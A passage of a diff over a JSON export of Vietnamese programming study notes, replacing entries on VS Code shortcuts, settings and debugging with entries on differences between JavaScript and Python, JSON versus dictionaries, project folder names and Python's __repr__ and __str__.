L</kbd> | Chọn tất cả các biến cùng tên |\r\n| <kbd>Ctrl + Shift + K</kbd> | Xoá dòng |\r\n| <kbd>Ctrl + [</kbd>, <kbd>Ctrl + ]</kbd> | Thụt dòng vào/ra |\r\n| <kbd>Ctrl + Alt + ↑/↓</kbd> | Thêm 1 con trỏ lên dòng bên trên (gõ đồng thời nhiều dòng) |\r\n| <kbd>Ctrl + /</kbd> | Comment/uncomment |\r\n\r\n# Chạy code\r\n\r\n| Phím tắt | Chức năng |\r\n| --------------------------- | ------------------------------------------------------------- |\r\n| <kbd>F5</kbd> | Chạy code | \r\n| <kbd>F9</kbd> | Tạo breakpoint |\r\n| <kbd>Ctrl + Shift + D</kbd> | Mở debug sidebar |\r\n| <kbd>Ctrl + `</kbd> | Mở [[Terminal là cái chương trình để làm việc với shell|terminal]] |\r\n| <kbd>Ctrl + Shift + Y</kbd> | Mở debug console |\r\n\r\n# Thiết lập VS Code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------------------- | ---------------------- |\r\n| <kbd>Ctrl + Shift + P</kbd> | Mở danh sách lệnh |\r\n| <kbd>Ctrl + K Ctrl + S</kbd> | Mở danh sách phím tắt |\r\n| <kbd>Ctrl + K Ctrl + T</kbd> | Mở danh sách giao diện |\r\n", + "Toàn bộ nội dung": "Trong REPL của JS (console), việc gọi trực tiếp vật thể không khác gì `console.log()` nó. Cả hai đều hiểu thị hết các dữ liệu của nó. Trong khi đó ở Python thì không như vậy. [[Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()]]. [[__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng]] \r\n\r\n| | JS | Python |\r\n| -------------- | ----------------------------------------- | ------------------------- |\r\n| Đọc thuộc tính | `object.attribute`, `object['attribute']` | `object.get('attribute')` |\r\n\r\n\r\n[[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]]. [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], còn [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]]\r\n\r\n[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n\r\nThứ có vẻ như thực sự tương đương ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UX" + "id": "YF" }, { - "Tiêu đề": "Plugin hay cho người mới", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Plugin hay cho người mới", + "Tiêu đề": "Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Từ điển dùng để chứa và thao tác với dữ liệu, trong khi JSON về bản chất dùng để mã hóa và giải mã dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "VS Code\r\n- [Clean Code Tips - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=chriswingler.clean-code-tips \"Clean Code Tips - Visual Studio Marketplace\")\r\n- [VSCode Extension | Total TypeScript](https://www.totaltypescript.com/vscode-extension \"VSCode Extension | Total TypeScript\")", + "Toàn bộ nội dung": "JSON sẽ chuyển đổi dữ liệu thành một chuỗi byte có thể lưu trữ và truyền qua mạng, dùng để response cho API. Và ta dùng JSON khi muốn lưu dữ liệu ở phía server.\r\nNguồn:: [Tìm hiểu về JSON và sự khác nhau giữa JSON và Dictionary trong Python - Python - Magestore](https://stories.magestore.com/t/tim-hi-u-v-json-va-s-khac-nhau-gi-a-json-va-dictionary-trong-python/1247#:~:text=Dictionary%20trong%20Python%20được%20hiểu,dùng%20để%20response%20cho%20API%2e)\r\n\r\n| JSON | Dictionary |\r\n| ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\r\n| The keys in JSON can be only strings. | The keys in the dictionary can be any hashable object. |\r\n| In JSON, the keys are sequentially ordered and can be repeated. | In the dictionary, the keys cannot be repeated and must be distinct. |\r\n| In JSON, the keys have a default value of undefined. | Dictionaries do not have any default value set. |\r\n| IN JSON file format, the values are accessed by using the “.”(dot) or “[]” operator. | In the dictionary, the values are mostly accessed by the subscript operator. For example, if 'dict' = {'A':'123R' ,'B':'678S'} then by simply calling dict['A'] we can access values associated. |\r\n| We are required to use the double quotation for the string object | We can use either a single or double quote for the string objects |\r\n| The return object type in JSON is a ‘string’ object type | The return object type in a dictionary is the ‘dict’ object type |\r\nNguồn:: [Convert Dictionary to JSON Python - Scaler Topics](https://www.scaler.com/topics/convert-dictionary-to-json-python/#:~:text=Difference%20between%20dict%20and%20JSON&text=The%20keys%20in%20JSON%20can,repeated%20and%20must%20be%20distinct%2e)\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n[[Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển]]\r\n[[JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UY" + "id": "YG" }, { - "Tiêu đề": "setting.json giúp tuỳ chỉnh thiết lập theo ý mình", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/setting.json giúp tuỳ chỉnh thiết lập theo ý mình", + "Tiêu đề": "Ý nghĩa tên folder", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Ý nghĩa tên folder", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```json\r\n{\r\n \"yaml.schemas\": {\r\n },\r\n \"deno.enable\": true,\r\n \"deno.lint\": true,\r\n \"editor.formatOnSave\": true,\r\n \"deno.config\": \"./deno.json\",\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\",\r\n \"[typescriptreact]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[typescript]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[javascriptreact]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[javascript]\": {\r\n \"editor.defaultFormatter\": \"denoland.vscode-deno\"\r\n },\r\n \"[markdown]\": {\r\n \"editor.formatOnSave\": false\r\n }\r\n }\r\n```\r\nNguồn:: [Visual Studio Code User and Workspace Settings](https://code.visualstudio.com/docs/getstarted/settings)", + "Toàn bộ nội dung": "Folder structure varies by build system and programming language. Here are some standard conventions:\r\n- `src/`: \"source\" files to build and develop the project. This is where the original source files are located, before being compiled into fewer files to `dist/`, `public/` or `build/`.\r\n- `dist/`: \"distribution\", the compiled code/library, also named `public/` or `build/`. The files meant for production or public use are usually located here. \r\n There may be a slight difference between these three:\r\n\t- `build/`: is a compiled version of your `src/` but not a production-ready.\r\n\t- `dist/`: is a production-ready compiled version of your code.\r\n\t- `public/`: usually used as the files runs on the browser. which it may be the server-side JS and also include some HTML and CSS.\r\n- `assets/`: static content like images, video, audio, fonts etc.\r\n- `lib/`: external dependencies (when included directly).\r\n- `test/`: the project's tests scripts, mocks, etc. \r\n- `node_modules/`: includes libraries and dependencies for JS packages, used by Npm.\r\n- `vendor/`: includes libraries and dependencies for PHP packages, used by Composer.\r\n- `bin/`: files that get added to your PATH when installed.\r\nNguồn:: [What is the meaning of the /dist directory in open source projects?](https://stackoverflow.com/a/22844164/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UZ" + "id": "YH" }, { - "Tiêu đề": "Video hướng dẫn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Video hướng dẫn", + "Tiêu đề": "Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt kỹ thuật/Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Visual Studio Code Introductory Videos](https://code.visualstudio.com/docs/getstarted/introvideos)\r\n", + "Toàn bộ nội dung": "[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ua" + "id": "YI" }, { - "Tiêu đề": "VS Code chỉ là code editor, không phải IDE", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/VS Code chỉ là code editor, không phải IDE", + "Tiêu đề": "JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt triết lý/JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "An IDE is often just aimed at a few specific compiled languages: there's a bunch of Java IDEs and we have VisualStudio for C# and VB and F#. \r\n\r\nIn ancient times we picked between a simple text editor or an IDE. But since the rise of advanced editors like vsCode the distinction has become sort of irrelevant. During the installation of Visual Studio maybe you can pick which plugins you want - you can do the same for vsCode - and just pick to install all C# tools that allow you to compile and debug C#. The difference is at most that the tools for Visual Studio are slightly more \"built in\" and better.\r\n\r\nFor some languages that aren't compiled or debugged in an editor there have never been any IDE. For example there by definition is no IDE for clientside Javascript - as that is not compiled. And not executed without a browser.\r\n\r\nNguồn:: [Why is VS Code considered as a code editor and not an IDE ? : r/vscode](https://www.reddit.com/r/vscode/comments/1c2akco/comment/kz91o70/)", + "Toàn bộ nội dung": "Lý do:: [[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]], còn [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]]\r\n\r\n[[TypeScript cung cấp kiểu cho JS]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ub" + "id": "YJ" }, { - "Tiêu đề": "VS Code nhiều khi không tìm hết file được do tên quá dài", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/VS Code nhiều khi không tìm hết file được do tên quá dài", + "Tiêu đề": "Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Khác biệt giữa JS và Python/Về mặt triết lý/Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển]]\r\n[[Ở JS, nếu một biến có giá trị là một chuỗi JSON thì nó sẽ được hiểu là vật thể. Ở Python, nó được hiểu là từ điển]].\r\n\r\nSau này JS cũng có thêm từ điển, và nó được gọi là map (ánh xạ). Nhưng nhiều người vẫn không biết, hoặc không có thói quen sử dụng.\r\n[[Map trong JS tương đương với dictionary trong Python]]. [[Map, dictionary, associative array, hash, hash table là những cái tên cho cùng một thứ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-27T08:21:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uc" + "id": "YK" }, { - "Tiêu đề": "Đường dẫn trong launch.json là cwd", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/IDE (VS Code)/Đường dẫn trong launch.json là cwd", + "Tiêu đề": "Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[pwd là thư mục mà process sẽ chạy (process working directory). cwd là thư mục mà mình đang ở đó (current working directory)]]\r\n\r\nNguồn:: ", + "Toàn bộ nội dung": "```python\r\nclass Book:\r\n def __init__(self, title, author):\r\n self.title = title\r\n self.author = author\r\n\r\nodyssey = Book(\"The Odyssey\", \"Homer\")\r\n\r\nprint(odyssey)\r\nprint(repr(odyssey))\r\nprint(str(odyssey))\r\n```\r\n\r\n```\r\n<__main__.Book object at 0x1025c4ed0>\r\n```\r\n\r\nThis output is the default string representation of an object that’s inherited from the `object` class. The `object` class is the base class for all Python classes. It shows:\r\n\r\n- **`__main__.Book`:** The name of the class and where it’s defined\r\n- **`0x1025c4ed0`:** The memory address of the object\r\n\r\nNguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-27T15:34:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ud" + "id": "YL" }, { - "Tiêu đề": "Debugger", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Debugger", + "Tiêu đề": "Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://vntalking.cdn.vccloud.vn/wp-content/uploads/2021/01/debug-console-visual-code.png) \r\n\r\n![CS50P - Debugging - YouTube](https://youtu.be/2hsn7AxXKmg)\r\n[[Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn]]\r\n\r\n![VS Code tips — Debugging Jupyter notebooks - YouTube](https://youtu.be/CY6uZIoF_kQ)\r\n![How to configure VS Code to debug JavaScript Node.js apps [23 of 26] | Node.js for Beginners - YouTube](https://youtu.be/llPW0b1dQms)\r\n", + "Toàn bộ nội dung": "```python\r\n>>> import datetime\r\n>>> today = datetime.datetime.now()\r\n\r\n>>> today\r\ndatetime.datetime(2023, 2, 18, 18, 40, 2, 160890)\r\n\r\n>>> print(today)\r\n2023-02-18 18:40:02.160890\r\n```\r\nNguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n[[__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng]] \r\n\r\n```python\r\nfrom datetime import datetime\r\nclass Event:\r\n    def __init__(self, summary:str, description:str, location:str, startDate:datetime, endDate:datetime):\r\n        self.summary = summary\r\n        self.description = description\r\n        self.location = location\r\n        self.startDate = startDate\r\n        self.endDate = endDate\r\n    def __str__(self):\r\n        return f'{self.summary}\\t{self.startDate.strftime(\"%Y-%m-%d %H:%M:%S\")}'\r\nstartDate = datetime(2023, 12, 14, 16, 00, 00)\r\nendDate = datetime(2023, 12, 14, 17, 00, 00)\r\n\r\nevent = Event('summary', 'description', 'location', startDate, endDate)\r\n\r\nprint(event)\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-26T14:04:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ue" + "id": "YM" }, { - "Tiêu đề": "Dùng logpoint thay cho console.log() khi debug", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Dùng logpoint thay cho console.log() khi debug", + "Tiêu đề": "__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Class/__repr__() trả về mô tả chi tiết để người lập trình bảo trì và sửa lỗi. __str__() trả về mô tả đơn giản cho người dùng sử dụng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://code.visualstudio.com/assets/docs/editor/debugging/log-points.gif) \r\nNguồn:: [VSCode Log Points //Stop using console.log #shorts - YouTube](https://youtube.com/shorts/7g7ftm2v71Y?feature=share)\r\n[[Không cần viết hàm quản lý debug khi đã có logpoint]]\r\n", + "Toàn bộ nội dung": "Nguồn:: [[Real Python]], [When Should You Use .\\_\\_repr\\_\\_() vs .\\_\\_str\\_\\_() in Python? – Real Python](https://realpython.com/python-repr-vs-str/)\r\n\r\nI was advised to not use `vars()` or `__dict__`, just use the actual API of the classes. If an object isn't printing well without that introspection, then that's the devs fault for not writing proper string and print methods (usually via `__repr__`). Or in other words, Python defers the responsibility to display the objects to the dev, while JS takes that responsibility.\r\nNguồn:: [Is it correct that Python does not encourage us to read objects's content?](https://langdev.stackexchange.com/q/2966/223)\r\n[[Trong REPL, gọi trực tiếp vật thể ra thì kết quả là __repr__(). Nếu dùng print thì kết quả là __str__()]]\r\n[[Nếu lớp không định nghĩa cả __repr__() và __str__() thì kết quả trả về có dạng __main__.Class_name object at 0x1025c4ed0]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-27T08:07:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uf" + "id": "YN" }, { - "Tiêu đề": "Không cần viết hàm quản lý debug khi đã có logpoint", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Không cần viết hàm quản lý debug khi đã có logpoint", + "Tiêu đề": "elif là để phân biệt else thuộc if nào", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/elif là để phân biệt else thuộc if nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\nfunction debug(on, vịTrí, ...biến) {\r\n if (on !== \"on\") {return}\r\n\r\n //Trong dánNhãn(), trước khi test regex\r\n if (vịTrí === 1) return console.log('Ở ngoài test:', biến)\r\n\r\n //Trong dánNhãn(), sau khi test regex thành công\r\n if (vịTrí === 2) return console.log('Vào trong test:', biến)\r\n \r\n //Trong tạoDanhSáchTừVàNhãnTừCâuNhập() \r\n if (vịTrí === 3) return console.log('vậtThểTừCâuNhập[i][0]:', biến)\r\n\r\n if (vịTrí === 4) return console.log('PTTTThựcSự:', biến)\r\n}\r\n```\r\n# Ưu\r\n- Có thể định nghĩa những bộ nhiều console.log() khác nhau cho cùng một bug. Mỗi bug khác nhau sẽ có một bộ khác nhau. Có thể tắt mở tất cả chúng cùng lúc\r\n- Bấm `F12` để di chuyển đến nơi xuất hiện hàm debug khác\r\n- Có thể tắt ở cả trong hàm lẫn ở vị trí\r\n- Lúc này nếu cần console.log() thì có thể xoá nhanh chóng\r\n# Nhược\r\n- Chưa biết khác gì với console.log()\r\n- Khi debug bấm vào link thì nhảy ra hàm debug chứ không ra chỗ console.log\r\n- Tại vị trí debug cũng không hiểu nó ra kết quả gì\r\n\t- Nếu đã thay đổi biến thì cũng không biết hàm debug đã mất tác dùng\r\n\r\n# So sánh với debugger\r\n- Nếu thay đổi số biến thì cũng mất công theo dõi\r\n- Không thấy được mối tương quan với các biến khác\r\n- Có dòng debug thì cũng có thể hơi khó chịu \r\n", + "Toàn bộ nội dung": "Nguồn:: [Why do some programming languages choose to have a dedicated keyword for elseif instead of using else + if like in C?](https://langdev.stackexchange.com/q/9/223)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-27T06:58:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ug" + "id": "YO" }, { - "Tiêu đề": "Launch vs attach", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Debugger/Launch vs attach", + "Tiêu đề": "Exception", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Exception", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khởi chạy so với đính kèm cấu hình\r\n\r\nTrong Mã VS, có hai chế độ gỡ lỗi cốt lõi, Khởi chạy và Đính kèm, xử lý hai quy trình công việc và phân đoạn khác nhau của nhà phát triển. Tùy thuộc vào quy trình làm việc của bạn, có thể gây nhầm lẫn khi biết loại cấu hình nào phù hợp với dự án của bạn.\r\n\r\nNếu bạn đến từ nền tảng Công cụ dành cho nhà phát triển của trình duyệt, bạn có thể không quen với việc \"khởi chạy từ công cụ của mình\" vì phiên bản trình duyệt của bạn đã được mở. Khi bạn mở DevTools, bạn chỉ cần đính kèm DevTools vào tab trình duyệt đang mở của mình. Mặt khác, nếu bạn đến từ nền máy chủ hoặc màn hình nền, thì việc trình chỉnh sửa của bạn khởi chạy quy trình cho bạn là điều khá bình thường và trình chỉnh sửa của bạn sẽ tự động đính kèm trình gỡ lỗi của nó vào quy trình mới được khởi chạy.\r\n\r\nCách tốt nhất để giải thích sự khác biệt giữa khởi chạy và đính kèm là coi cấu hình khởi chạy như một công thức về cách khởi động ứng dụng của bạn ở chế độ gỡ lỗi trước khi Mã VS gắn vào nó, trong khi cấu hình đính kèm là công thức về cách kết nối Mã VS trình gỡ lỗi cho ứng dụng hoặc quy trình đang chạy.\r\n\r\nTrình gỡ lỗi VS Code thường hỗ trợ khởi chạy chương trình ở chế độ gỡ lỗi hoặc đính kèm vào chương trình đã chạy ở chế độ gỡ lỗi. Tùy thuộc vào yêu cầu (đính kèm hoặc khởi chạy), các thuộc tính khác nhau được yêu cầu và các đề xuất và xác thực launch.json của VS Code sẽ giúp ích cho việc đó.\r\nThêm cấu hình mới\r\n### [Launch versus attach configurations](https://code.visualstudio.com/docs/editor/debugging#_launch-versus-attach-configurations)\r\n\r\nIn VS Code, there are two core debugging modes, **Launch** and **Attach**, which handle two different workflows and segments of developers. Depending on your workflow, it can be confusing to know what type of configuration is appropriate for your project.\r\n\r\nIf you come from a browser Developer Tools background, you might not be used to \"launching from your tool,\" since your browser instance is already open. When you open DevTools, you are simply **attaching** DevTools to your open browser tab. On the other hand, if you come from a server or desktop background, it's quite normal to have your editor **launch** your process for you, and your editor automatically attaches its debugger to the newly launched process.\r\n\r\nThe best way to explain the difference between **launch** and **attach** is to think of a **launch** configuration as a recipe for how to start your app in debug mode **before** VS Code attaches to it, while an **attach** configuration is a recipe for how to connect VS Code's debugger to an app or process that's **already** running.\r\n\r\nVS Code debuggers typically support launching a program in debug mode or attaching to an already running program in debug mode. Depending on the request (`attach` or `launch`), different attributes are required, and VS Code's `launch.json` validation and suggestions should help with that.\r\n\r\n### [Add a new configurati](https://code.visualstudio.com/docs/editor/debugging#_add-a-new-configuration)\r\n\r\nNguồn:: [Debugging in Visual Studio Code](https://code.visualstudio.com/docs/editor/debugging#_launch-configurations)\r\n", + "Toàn bộ nội dung": "![CS50P - Lecture 3 - Exceptions - YouTube](https://youtu.be/LW7g1169v7w)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Uh" + "id": "YP" }, { - "Tiêu đề": "Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Dùng test khi muốn biết code chạy có đúng không. Dùng debug khi muốn biết code chạy sai chỗ nào", + "Tiêu đề": "IPython", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/IPython", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Debugger | Unit test |\r\n| --------------------------- | ------------------------------------ |\r\n| Mất đi sau khi bug được sửa | Được giữ lại sau khi bug đã được sửa |\r\n| | |\r\n\r\nNguồn:: [Differences between Testing and Debugging - GeeksforGeeks](https://www.geeksforgeeks.org/differences-between-testing-and-debugging/) [[✍️Lập trình/Ξ Nguồn và tài nguyên hỗ trợ/Ξ Nguồn/Stack Overflow]], [debugging - When to use debug vs unit tests? - Stack Overflow](https://stackoverflow.com/q/3846198/3416774)\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ui" + "id": "YQ" }, { - "Tiêu đề": "Dễ xem kết quả các giá trị trong console debug hơn là ở Variables", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Công cụ/Log, test, debug/Dễ xem kết quả các giá trị trong console debug hơn là ở Variables", + "Tiêu đề": "Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/Python/Jupyter notebook giúp chạy lệnh theo từng ô kèm diễn giải", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n[[Dùng logpoint thay cho console.log() khi debug]] [[Ngoài console.log còn có console.assert, console.trace, console.table, console.error, console.dir]]\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-26T12:20:00.000Z", - "id": "Uj" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "YR" }, { - "Tiêu đề": "console.log chỉ hiển thị nội dung tại thời điểm vật thể được xem, chứ 